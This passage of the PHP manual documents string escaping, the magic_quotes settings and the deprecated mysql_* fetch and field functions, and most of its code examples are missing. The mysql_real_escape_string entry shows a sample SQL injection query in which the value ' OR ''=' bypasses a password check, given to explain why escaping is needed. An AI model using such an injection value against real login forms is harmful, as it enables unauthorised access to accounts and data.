unescaped_string ---------------- The string that is to be escaped. Return Values~ Returns the escaped string. Changelog~ Version Description 5.3.0 This function now throws an E_DEPRECATED notice. 4.3.0 This function became deprecated, do not use this function. Instead, use mysql_real_escape_string(). Examples~ Example #1 mysql_escape_string() example > < The above example will output: Escaped string: Zak\'s Laptop Notes Note: |mysql_escape_string|() does not escape % and _. See Also~ |mysql_real_escape_string|() - Escapes special characters in a string for use in an SQL statement |addslashes|() - Quote string with slashes -------------------------------------------------------------------------------- *addslashes* +------------+~ | addslashes |~ +------------+~ (PHP 4, PHP 5, PHP 7) addslashes — Quote string with slashes Description~ > string addslashes ( string $str ) < Returns a string with backslashes before characters that need to be escaped. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte). An example use of addslashes() is when you're entering data into string that is evaluated by PHP. For example, O'Reilly is stored in $str, you need to escape $str. (e.g. eval("echo '".addslashes($str)."';"); ) To escape database parameters, DBMS specific escape function (e.g. mysqli_real_escape_string() for MySQL or pg_escape_literal(), pg_escape_string() for PostgreSQL) should be used for security reasons. DBMSes have differect escape specification for identifiers (e.g. Table name, field name) than parameters. Some DBMS such as PostgreSQL provides identifier escape function, pg_escape_identifier(), but not all DBMS provides identifier escape API. If this is the case, refer to your database system manual for proper escaping method. If your DBMS doesn't have an escape function and the DBMS uses \ to escape special chars, you might be able to use this function only when this escape method is adequate for your database. Please note that use of addslashes() for database parameter escaping can be cause of security issues on most databases. The PHP directive magic_quotes_gpc was on by default before PHP 5.4, and it essentially ran addslashes() on all GET, POST, and COOKIE data. Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as you'll then do double escaping. The function get_magic_quotes_gpc() may come in handy for checking this. Parameters~ str ----- The string to be escaped. Return Values Returns the escaped string. Examples~ Example #1 An addslashes() example > < See Also~ |stripcslashes|() - Un-quote string quoted with addcslashes |stripslashes|() - Un-quotes a quoted string |addcslashes|() - Quote string with slashes in a C style |htmlspecialchars|() - Convert special characters to HTML entities |quotemeta|() - Quote meta characters |get_magic_quotes_gpc|() - Gets the current configuration setting of magic_quotes_gpc -------------------------------------------------------------------------------- *mysql_real_escape_string* +--------------------------+~ | mysql_real_escape_string |~ +--------------------------+~ (PHP 4 >= 4.3.0, PHP 5) mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_real_escape_string|() |PDO::quote|() Description~ > string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier = NULL ] ) < Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used. mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. Caution Security: the default character set The character set must be set either at the server level, or with the API function mysql_set_charset() for it to affect mysql_real_escape_string(). See the concepts section on character sets for more information. Parameters~ unescaped_string ---------------- The string that is to be escaped. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the escaped string, or FALSE on error. Errors/Exceptions~ Executing this function without a MySQL connection present will also emit E_WARNING level PHP errors. Only execute this function with a valid MySQL connection present. Examples~ Example #1 Simple mysql_real_escape_string() example > < Example #2 mysql_real_escape_string() requires a connection example This example demonstrates what happens if a MySQL connection is not present when calling this function. > < The above example will output something similar to: Warning: mysql_real_escape_string(): No such file or directory in /this/test/script.php on line 5 Warning: mysql_real_escape_string(): A link to the server could not be established in /this/test/script.php on line 5 bool(false) string(41) "SELECT * FROM actors WHERE last_name = ''" Example #3 An example SQL Injection Attack > < The query sent to MySQL: SELECT * FROM users WHERE user='aidan' AND password='' OR ''='' This would allow anyone to log in without a valid password. Notes Note: A MySQL connection is required before using mysql_real_escape_string() otherwise an error of level E_WARNING is generated, and FALSE is returned. If link_identifier isn't defined, the last MySQL connection is used. Note: If magic_quotes_gpc is enabled, first apply stripslashes() to the data. Using this function on data which has already been escaped will escape the data twice. Note: If this function is not used to escape data, the query is vulnerable to SQL Injection Attacks. Note: mysql_real_escape_string() does not escape % and _. These are wildcards in MySQL if combined with LIKE, GRANT, or REVOKE. See Also~ |mysql_set_charset|() - Sets the client character set |mysql_client_encoding|() - Returns the name of the character set |addslashes|() - Quote string with slashes |stripslashes|() - Un-quotes a quoted string The |magic_quotes_gpc| directive The |magic_quotes_runtime| directive -------------------------------------------------------------------------------- *Runtime_Configuration* +-----------------------+~ | Runtime Configuration |~ +-----------------------+~ The behaviour of these functions is affected by settings in php.ini. PHP Options/Inf Configuration Options Name Default Changeable Changelog |assert.active| "1" PHP_INI_ALL |assert.bail| "0" PHP_INI_ALL |assert.warning| "1" PHP_INI_ALL |assert.callback| NULL PHP_INI_ALL |assert.quiet_eval| "0" PHP_INI_ALL |assert.exception| "0" PHP_INI_ALL Available since PHP 7.0.0. |enable_dl| "1" PHP_INI_SYSTEM This deprecated feature will certainly be removed in the future. |max_execution_time| "30" PHP_INI_ALL |max_input_time| "-1" PHP_INI_PERDIR Available since PHP 4.3.0. |max_input_nesting_level| "64" PHP_INI_PERDIR Available since PHP 5.2.3. |max_input_vars| 1000 PHP_INI_PERDIR Available since PHP 5.3.9. |magic_quotes_gpc| "1" PHP_INI_PERDIR PHP_INI_ALL in PHP <= 4.2.3. Removed in PHP 5.4.0. |magic_quotes_runtime| "0" PHP_INI_ALL Removed in PHP 5.4.0. |zend.enable_gc| "1" PHP_INI_ALL Available since PHP 5.3.0. For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set. Here's a short explanation of the configuration directives. *assert.active* boolean Enable assert() evaluation. *assert.bail* boolean Terminate script execution on failed assertions. *assert.warning* boolean Issue a PHP warning for each failed assertion. *assert.callback* string User function to call on failed assertions. *assert.quiet_eval* boolean Use the current setting of error_reporting() during assertion expression evaluation. If enabled, no errors are shown (implicit error_reporting(0)) while evaluation. If disabled, errors are shown according to the settings of error_reporting() *assert.exception* boolean Issue an AssertionError exception for the failed assertion. *enable_dl* boolean This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. The main reason for turning dynamic loading off is security. With dynamic loading, it's possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it's always impossible to use dl(). *max_execution_time* integer This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0. The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details. You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini. Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details. *max_input_time* integer This sets the maximum time in seconds a script is allowed to parse input data, like POST and GET. Timing begins at the moment PHP is invoked at the server and ends when execution begins. The default setting is -1, which means that max_execution_time is used instead. Set to 0 to allow unlimited time. *max_input_nesting_level* integer Sets the max nesting depth of input variables (i.e. $_GET, $_POST.) *max_input_vars* integer How many input variables may be accepted (limit is applied to $_GET, $_POST and $_COOKIE superglobal separately). Use of this directive mitigates the possibility of denial of service attacks which use hash collisions. If there are more input variables than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request. *magic_quotes_gpc* boolean Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically. Note: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NUL's will remain untouched and unescaped. See also |get_magic_quotes_gpc|() |magic_quotes_runtime| boolean Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash. Functions affected by magic_quotes_runtime (does not include functions from PECL): |get_meta_tags|() |file_get_contents|() |file|() |fgets|() |fwrite|() |fread|() |fputcsv|() |stream_socket_recvfrom|() |exec|() |system|() |passthru|() |stream_get_contents|() |bzread|() |gzfile|() |gzgets|() |gzwrite|() |gzread|() |exif_read_data|() |dba_insert|() |dba_replace|() |dba_fetch|() |ibase_fetch_row|() |ibase_fetch_assoc|() |ibase_fetch_object|() |mssql_fetch_row|() |mssql_fetch_object|() |mssql_fetch_array|() |mssql_fetch_assoc|() |mysqli_fetch_row|() |mysqli_fetch_array|() |mysqli_fetch_assoc|() |mysqli_fetch_object|() |pg_fetch_row|() |pg_fetch_assoc|() |pg_fetch_array|() |pg_fetch_object|() |pg_fetch_all|() |pg_select|() |sybase_fetch_object|() |sybase_fetch_array|() |sybase_fetch_assoc|() |SplFileObject::fgets|() |SplFileObject::fgetcsv|() |SplFileObject::fwrite|() |zend.enable_gc| boolean Enables or disables the circular reference collector. -------------------------------------------------------------------------------- *get_magic_quotes_gpc* +----------------------+~ | get_magic_quotes_gpc |~ +----------------------+~ (PHP 4, PHP 5, PHP 7) get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc Description~ > bool get_magic_quotes_gpc ( void ) < Returns the current configuration setting of magic_quotes_gpc Keep in mind that attempting to set magic_quotes_gpc at runtime will not work. For more information about magic_quotes, see this security section. Return Values~ Returns 0 if magic_quotes_gpc is off, 1 otherwise. Or always returns FALSE as of PHP 5.4.0. Changelog~ Version Description 5.4.0 Always returns FALSE because the magic quotes feature was removed from PHP. Examples~ Example #1 get_magic_quotes_gpc() example > < Notes Note: If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc. So even when get_magic_quotes_gpc() returns TRUE neither double quotes, backslashes or NUL's will be escaped. Only single quotes will be escaped. In this case they'll look like: '' See Also~ |addslashes|() - Quote string with slashes |stripslashes|() - Un-quotes a quoted string |get_magic_quotes_runtime|() - Gets the current active configuration setting of magic_quotes_runtime |ini_get|() - Gets the value of a configuration option -------------------------------------------------------------------------------- *get_magic_quotes_runtime* +--------------------------+~ | get_magic_quotes_runtime |~ +--------------------------+~ (PHP 4, PHP 5, PHP 7) get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime Description~ > bool get_magic_quotes_runtime ( void ) < Returns the current active configuration setting of magic_quotes_runtime. Return Values~ Returns 0 if magic_quotes_runtime is off, 1 otherwise. Or always returns FALSE as of PHP 5.4.0. Changelog~ Version Description 5.4.0 Always returns FALSE because the magic quotes feature was removed from PHP. Examples~ Example #1 get_magic_quotes_runtime() example > < See Also~ |get_magic_quotes_gpc|() - Gets the current configuration setting of magic_quotes_gpc |set_magic_quotes_runtime|() - Sets the current active configuration setting of magic_quotes_runtime -------------------------------------------------------------------------------- *ini_get* +---------+~ | ini_get |~ +---------+~ (PHP 4, PHP 5, PHP 7) ini_get — Gets the value of a configuration option Description~ > string ini_get ( string $varname ) < Returns the value of the configuration option on success. Parameters~ varname ------- The configuration option name. Return Values~ Returns the value of the configuration option as a string on success, or an empty string for null values. Returns FALSE if the configuration option doesn't exist. Examples~ Example #1 A few ini_get() examples > > < The above example will output something similar to: display_errors = 1 register_globals = 0 post_max_size = 8M post_max_size+1 = 9 post_max_size in bytes = 8388608 Notes Note: When querying boolean values A boolean ini value of off will be returned as an empty string or "0" while a boolean ini value of on will be returned as "1". The function can also return the literal string of INI value. Note: When querying memory size values Many ini memory size values, such as upload_max_filesize, are stored in the php.ini file in shorthand notation. ini_get() will return the exact string stored in the php.ini file and NOT its integer equivalent. Attempting normal arithmetic functions on these values will not have otherwise expected results. The example above shows one way to convert shorthand notation into bytes, much like how the PHP source does it. Note: ini_get() can't read "array" ini options such as pdo.dsn.*, and returns FALSE in this case. Changelog~ Version Description 5.3.0 Previously, the empty string was returned if the configuration option didn't exist. now, FALSE is returned instead. See Also~ |get_cfg_var|() - Gets the value of a PHP configuration option |ini_get_all|() - Gets all configuration options |ini_restore|() - Restores the value of a configuration option |ini_set|() - Sets the value of a configuration option -------------------------------------------------------------------------------- *mysql_fetch_array* +-------------------+~ | mysql_fetch_array |~ +-------------------+~ mysql_fetch_array (PHP 4, PHP 5) mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_array|() |PDOStatement::fetch|() Description~ > array mysql_fetch_array ( resource $result [, int $result_type = MYSQL_BOTH ] ) < Returns an array that corresponds to the fetched row and moves the internal data pointer ahead. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). result_type ----------- The type of array that is to be fetched. It's a constant and can take the following values: MYSQL_ASSOC, MYSQL_NUM, and MYSQL_BOTH. Return Values~ Returns an array of strings that corresponds to the fetched row, or FALSE if there are no more rows. The type of returned array depends on how result_type is defined. By using MYSQL_BOTH (default), you'll get an array with both associative and number indices. Using MYSQL_ASSOC, you only get associative indices (as mysql_fetch_assoc() works), using MYSQL_NUM, you only get number indices (as mysql_fetch_row() works). If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use the numeric index of the column or make an alias for the column. For aliased columns, you cannot access the contents with the original column name. Examples~ Example #1 Query with aliased duplicate field names > SELECT table1.field AS foo, table2.field AS bar FROM table1, table2 Example #2 mysql_fetch_array() with MYSQL_NUM < Example #3 mysql_fetch_array() with MYSQL_ASSOC > < Example #4 mysql_fetch_array() with MYSQL_BOTH > < Notes~ Note: Performance An important thing to note is that using mysql_fetch_array() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value. Note: Field names returned by this function are case-sensitive. Note: This function sets NULL fields to the PHP NULL value. See Also~ |mysql_fetch_row|() - Get a result row as an enumerated array |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_data_seek|() - Move internal result pointer |mysql_query|() - Send a MySQL query -------------------------------------------------------------------------------- *mysql_fetch_assoc* +-------------------+~ | mysql_fetch_assoc |~ +-------------------+~ (PHP 4 >= 4.0.3, PHP 5) mysql_fetch_assoc — Fetch a result row as an associative array Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_assoc|() |PDOStatement::fetch|(PDO::FETCH_ASSOC) Description~ > array mysql_fetch_assoc ( resource $result ) < Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. mysql_fetch_assoc() is equivalent to calling mysql_fetch_array() with MYSQL_ASSOC for the optional second parameter. It only returns an associative array. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ Returns an associative array of strings that corresponds to the fetched row, or FALSE if there are no more rows. If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysql_fetch_row() or add alias names. See the example at the mysql_fetch_array() description about aliases. Examples~ Example #1 An expanded mysql_fetch_assoc() example > < Notes~ Note: Performance An important thing to note is that using mysql_fetch_assoc() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value. Note: Field names returned by this function are case-sensitive. Note: This function sets NULL fields to the PHP NULL value. See Also~ |mysql_fetch_row|() - Get a result row as an enumerated array |mysql_fetch_array|() - Fetch a result row as an associative array, a numeric array, or both |mysql_data_seek|() - Move internal result pointer |mysql_query|() - Send a MySQL query |mysql_error|() - Returns the text of the error message from previous MySQL operation -------------------------------------------------------------------------------- *mysql_fetch_field* +-------------------+~ | mysql_fetch_field |~ +-------------------+~ (PHP 4, PHP 5) mysql_fetch_field — Get column information from a result and return as an object Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field|() |PDOStatement::getColumnMeta|() Description~ > object mysql_fetch_field ( resource $result [, int $field_offset = 0 ] ) < Returns an object containing field information. This function can be used to obtain information about fields in the provided query result. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0. Return Values~ Returns an object containing field information. The properties of the object are: name - column name table - name of the table the column belongs to, which is the alias name if one is defined max_length - maximum length of the column not_null - 1 if the column cannot be NULL primary_key - 1 if the column is a primary key unique_key - 1 if the column is a unique key multiple_key - 1 if the column is a non-unique key numeric - 1 if the column is numeric blob - 1 if the column is a BLOB type - the type of the column unsigned - 1 if the column is unsigned zerofill - 1 if the column is zero-filled Examples~ Example #1 mysql_fetch_field() example > \n"; $meta = mysql_fetch_field($result, $i); if (!$meta) { echo "No information available
    \n"; } echo "
    	blob:         $meta->blob
    	max_length:   $meta->max_length
    	multiple_key: $meta->multiple_key
    	name:         $meta->name
    	not_null:     $meta->not_null
    	numeric:      $meta->numeric
    	primary_key:  $meta->primary_key
    	table:        $meta->table
    	type:         $meta->type
    	unique_key:   $meta->unique_key
    	unsigned:     $meta->unsigned
    	zerofill:     $meta->zerofill
    	
    "; $i++; } mysql_free_result($result); ?> < Notes~ Note: Field names returned by this function are case-sensitive. Note: If field or tablenames are aliased in the SQL query the aliased name will be returned. The original name can be retrieved for instance by using mysqli_result::fetch_field(). See Also~ |mysql_field_seek|() - Set result pointer to a specified field offset -------------------------------------------------------------------------------- *mysql_fetch_lengths* +---------------------+~ | mysql_fetch_lengths |~ +---------------------+~ (PHP 4, PHP 5) mysql_fetch_lengths — Get the length of each output in a result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_lengths|() |PDOStatement::getColumnMeta|() Description~ > array mysql_fetch_lengths ( resource $result ) < Returns an array that corresponds to the lengths of each field in the last row fetched by MySQL. mysql_fetch_lengths() stores the lengths of each result column in the last row returned by mysql_fetch_row(), mysql_fetch_assoc(), mysql_fetch_array(), and mysql_fetch_object() in an array, starting at offset 0. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ An array of lengths on success or FALSE on failure. Examples~ Example #1 A mysql_fetch_lengths() example > < The above example will output something similar to: Array ( [id] => 42 [email] => user@example.com ) Array ( [0] => 2 [1] => 16 ) See Also~ |mysql_field_len|() - Returns the length of the specified field |mysql_fetch_row|() - Get a result row as an enumerated array |strlen|() - Get string length -------------------------------------------------------------------------------- *mysql_fetch_object* +--------------------+~ | mysql_fetch_object |~ +--------------------+~ (PHP 4, PHP 5) mysql_fetch_object — Fetch a result row as an object Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_object|() |PDOStatement::fetch|(PDO::FETCH_OBJ) Description~ > object mysql_fetch_object ( resource $result [, string $class_name [, array $params ]] ) < Returns an object with properties that correspond to the fetched row and moves the internal data pointer ahead. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). class_name ---------- The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned. params ------ An optional array of parameters to pass to the constructor for class_name objects. Return Values~ Returns an object with string properties that correspond to the fetched row, or FALSE if there are no more rows. Examples~ Example #1 mysql_fetch_object() example > user_id; echo $row->fullname; } mysql_free_result($result); ?> < Example #2 mysql_fetch_object() example > < Notes Note: Performance Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant). Note: mysql_fetch_object() is similar to mysql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names). Note: Field names returned by this function are case-sensitive. Note: This function sets NULL fields to the PHP NULL value. See Also~ |mysql_fetch_array|() - Fetch a result row as an associative array, a numeric array, or both |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_fetch_row|() - Get a result row as an enumerated array |mysql_data_seek|() - Move internal result pointer |mysql_query|() - Send a MySQL query -------------------------------------------------------------------------------- *mysql_fetch_row* +-----------------+~ | mysql_fetch_row |~ +-----------------+~ (PHP 4, PHP 5) mysql_fetch_row — Get a result row as an enumerated array Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_row|() |PDOStatement::fetch|(PDO::FETCH_NUM) Description~ > array mysql_fetch_row ( resource $result ) < Returns a numerical array that corresponds to the fetched row and moves the internal data pointer ahead. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ Returns an numerical array of strings that corresponds to the fetched row, or FALSE if there are no more rows. mysql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0. Examples~ Example #1 Fetching one row with mysql_fetch_row() > < Notes~ Note: This function sets NULL fields to the PHP NULL value. See Also~ |mysql_fetch_array|() - Fetch a result row as an associative array, a numeric array, or both |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_fetch_object|() - Fetch a result row as an object |mysql_data_seek|() - Move internal result pointer |mysql_fetch_lengths|() - Get the length of each output in a result |mysql_result|() - Get result data -------------------------------------------------------------------------------- *mysql_field_flags* +-------------------+~ | mysql_field_flags |~ +-------------------+~ (PHP 4, PHP 5) mysql_field_flags — Get the flags associated with the specified field in a result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field_direct|() [flags] |PDOStatement::getColumnMeta|() [flags] Description~ > string mysql_field_flags ( resource $result , int $field_offset ) < mysql_field_flags() returns the field flags of the specified field. The flags are reported as a single word per flag separated by a single space, so that you can split the returned value using explode(). Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ Returns a string of flags associated with the result or FALSE on failure. The following flags are reported, if your version of MySQL is current enough to support them: "not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment" and "timestamp". Examples~ Example #1 A mysql_field_flags() example > < The above example will output something similar to: not_null primary_key auto_increment Array ( [0] => not_null [1] => primary_key [2] => auto_increment ) Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_fieldflags() See Also~ |mysql_field_type|() - Get the type of the specified field in a result |mysql_field_len|() - Returns the length of the specified field -------------------------------------------------------------------------------- *mysql_field_len* +-----------------+~ | mysql_field_len |~ +-----------------+~ (PHP 4, PHP 5) mysql_field_len — Returns the length of the specified field Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field_direct|() [length] |PDOStatement::getColumnMeta|() [len] Description~ > int mysql_field_len ( resource $result , int $field_offset ) < mysql_field_len() returns the length of the specified field. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ The length of the specified field index on success or FALSE on failure. Examples~ Example #1 mysql_field_len() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_fieldlen() See Also~ |mysql_fetch_lengths|() - Get the length of each output in a result |strlen|() - Get string length -------------------------------------------------------------------------------- *mysql_field_name* +------------------+~ | mysql_field_name |~ +------------------+~ (PHP 4, PHP 5) mysql_field_name — Get the name of the specified field in a result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field_direct|() [name] or [orgname] |PDOStatement::getColumnMeta|() [name] Description~ > string mysql_field_name ( resource $result , int $field_offset ) < mysql_field_name() returns the name of the specified field index. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ The name of the specified field index on success or FALSE on failure. Examples~ Example #1 mysql_field_name() example > < The above example will output: user_id password Notes Note: Field names returned by this function are case-sensitive. Note: For backward compatibility, the following deprecated alias may be used: mysql_fieldname() See Also~ |mysql_field_type|() - Get the type of the specified field in a result |mysql_field_len|() - Returns the length of the specified field -------------------------------------------------------------------------------- *mysql_field_seek* +------------------+~ | mysql_field_seek |~ +------------------+~ (PHP 4, PHP 5) mysql_field_seek — Set result pointer to a specified field offset Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_field_seek|() |PDOStatement::fetch|() using the cursor_orientation and offset parameters Description~ > bool mysql_field_seek ( resource $result , int $field_offset ) < Seeks to the specified field offset. If the next call to mysql_fetch_field() doesn't include a field offset, the field offset specified in mysql_field_seek() will be returned. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ Returns TRUE on success or FALSE on failure. See Also~ |mysql_fetch_field|() - Get column information from a result and return as an object -------------------------------------------------------------------------------- *mysql_field_table* +-------------------+~ | mysql_field_table |~ +-------------------+~ (PHP 4, PHP 5) mysql_field_table — Get name of the table the specified field is in Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field_direct|() [table] or [orgtable] |PDOStatement::getColumnMeta|() [table] Description~ > string mysql_field_table ( resource $result , int $field_offset ) < Returns the name of the table that the specified field is in. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ The name of the table on success. Examples~ Example #1 A mysql_field_table() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_fieldtable() See Also~ |mysql_list_tables|() - List tables in a MySQL database -------------------------------------------------------------------------------- *mysql_field_type* +------------------+~ | mysql_field_type |~ +------------------+~ (PHP 4, PHP 5) mysql_field_type — Get the type of the specified field in a result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_fetch_field_direct|() [type] |PDOStatement::getColumnMeta|() [driver:decl_type] or [pdo_type] Description~ > string mysql_field_type ( resource $result , int $field_offset ) < mysql_field_type() is similar to the mysql_field_name() function. The arguments are identical, but the field type is returned instead. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). field_offset ------------ The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued. Return Values~ The returned field type will be one of "int", "real", "string", "blob", and others as detailed in the » MySQL documentation. Examples~ Example #1 mysql_field_type() example > < The above example will output something similar to: Your 'func' table has 4 fields and 1 record(s) The table has the following fields: string name 64 not_null primary_key binary int ret 1 not_null string dl 128 not_null string type 9 not_null enum Notes~ Note: For backward compatibility, the following deprecated alias may be used: mysql_fieldtype() See Also~ |mysql_field_name|() - Get the name of the specified field in a result |mysql_field_len|() - Returns the length of the specified field -------------------------------------------------------------------------------- *mysql_free_result* +-------------------+~ | mysql_free_result |~ +-------------------+~ (PHP 4, PHP 5) mysql_free_result — Free result memory Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_free_result|() Assign the value of NULL to the PDO object, or PDOStatement::closeCursor() Description~ > bool mysql_free_result ( resource $result ) < mysql_free_result() will free all memory associated with the result identifier result. mysql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ Returns TRUE on success or FALSE on failure. If a non-resource is used for the result, an error of level E_WARNING will be emitted. It's worth noting that mysql_query() only returns a resource for SELECT, SHOW, EXPLAIN, and DESCRIBE queries. Examples~ Example #1 A mysql_free_result() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_freeresult() See Also~ |mysql_query|() - Send a MySQL query |is_resource|() - Finds whether a variable is a resource -------------------------------------------------------------------------------- *mysql_get_client_info* +-----------------------+~ | mysql_get_client_info |~ +-----------------------+~ (PHP 4 >= 4.0.5, PHP 5) mysql_get_client_info — Get MySQL client info Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. 